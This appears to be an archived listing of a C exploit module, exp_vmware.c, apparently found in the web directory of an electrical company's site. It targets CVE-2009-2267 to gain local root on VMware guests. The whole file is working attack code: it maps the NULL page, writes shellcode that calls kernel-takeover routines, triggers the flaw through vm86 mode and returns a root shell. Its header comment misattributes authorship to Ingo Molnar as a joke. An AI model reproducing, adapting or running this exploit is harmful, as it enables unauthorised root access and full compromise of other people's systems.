home *** CD-ROM | disk | FTP | other *** search
/ comtecelectrical.ca / www.comtecelectrical.ca.tar / www.comtecelectrical.ca / enlightenment / exp_vmware.c < prev    next >
C/C++ Source or Header  |  2009-10-31  |  2KB  |  94 lines

  1. /* all credits to Tavis Ormandy/Julien Tinnes
  2.  
  3.    I (being Ingo Molnar, of course) simply replaced the ring0 XSS
  4.    with more suitable shellcode
  5.  */
  6.  
  7. #include <stdio.h>
  8. #include <unistd.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <sys/user.h>
  12. #include <sys/mman.h>
  13. #include <sys/vm86.h>
  14. #include <sys/types.h>
  15. #include "exp_framework.h"
  16.  
  17. struct exploit_state *exp_state;
  18.  
  19. char *desc = "CVE-2009-2267: VMWare vm86 guest local root";
  20.  
  21. #define REAL_TO_VIRT(cs, ip) ((void *)(((cs) << 4) + ((ip) & 0xffff)))
  22. #define EFLAGS_TF_MASK 0x100
  23.  
  24. void enter_vm86(void)
  25. {
  26.     struct vm86plus_struct vm = {0};
  27.  
  28.     vm.cpu_type = CPU_586;
  29.  
  30.     vm.regs.eflags = EFLAGS_TF_MASK;
  31.     vm.regs.esp = 0xdeadc01d;
  32.     vm.regs.eip = 0x00000000;
  33.     vm.regs.cs = 0x0090;
  34.     vm.regs.ss = 0xffff;
  35.  
  36.     memcpy(REAL_TO_VIRT(vm.regs.cs, vm.regs.eip), 
  37.         "\x9a\xdd\xcc\x00\x00\xbb\xaa", 7);
  38.  
  39.     vm86(VM86_ENTER, &vm);
  40.  
  41.     return;
  42. }
  43.  
  44. int prepare(unsigned char *buf)
  45. {
  46.     char *newbuf;
  47.  
  48.     newbuf = (char *)mremap(buf, PAGE_SIZE, 1024 * 1024, 0);
  49.     if (newbuf == MAP_FAILED) {
  50.         printf("failed to remap NULL page\n");
  51.         exit(1);
  52.     }
  53.  
  54.     // mov esp, edi
  55.     buf[0] = '\x89';
  56.     buf[1] = '\xfc';
  57.     // sub esp, 0x50
  58.     buf[2] = '\x83';
  59.     buf[3] = '\xec';
  60.     buf[4] = '\x50';
  61.     // call own_the_kernel
  62.     buf[5] = '\xff';
  63.     buf[6] = '\x15';
  64.     *(unsigned int *)&buf[7] = (unsigned int)buf + 17;
  65.     // jmp exit_kernel
  66.     buf[11] = '\xff';
  67.     buf[12] = '\x25';
  68.     *(unsigned int *)&buf[13] = (unsigned int)buf + 21;
  69.     *(unsigned long *)&buf[17] = (unsigned long)exp_state->own_the_kernel;
  70.     *(unsigned long *)&buf[21] = (unsigned long)exp_state->exit_kernel;
  71.  
  72.     return 0;
  73. }
  74.  
  75. int requires_null_page = 1;
  76.  
  77. int get_exploit_state_ptr(struct exploit_state *ptr)
  78. {
  79.     exp_state = ptr;
  80.     return 0;
  81. }
  82.  
  83. int trigger(void)
  84. {
  85.     enter_vm86();
  86.  
  87.     return 1;
  88. }
  89.  
  90. int post(void)
  91. {
  92.     return RUN_ROOTSHELL;
  93. }
  94.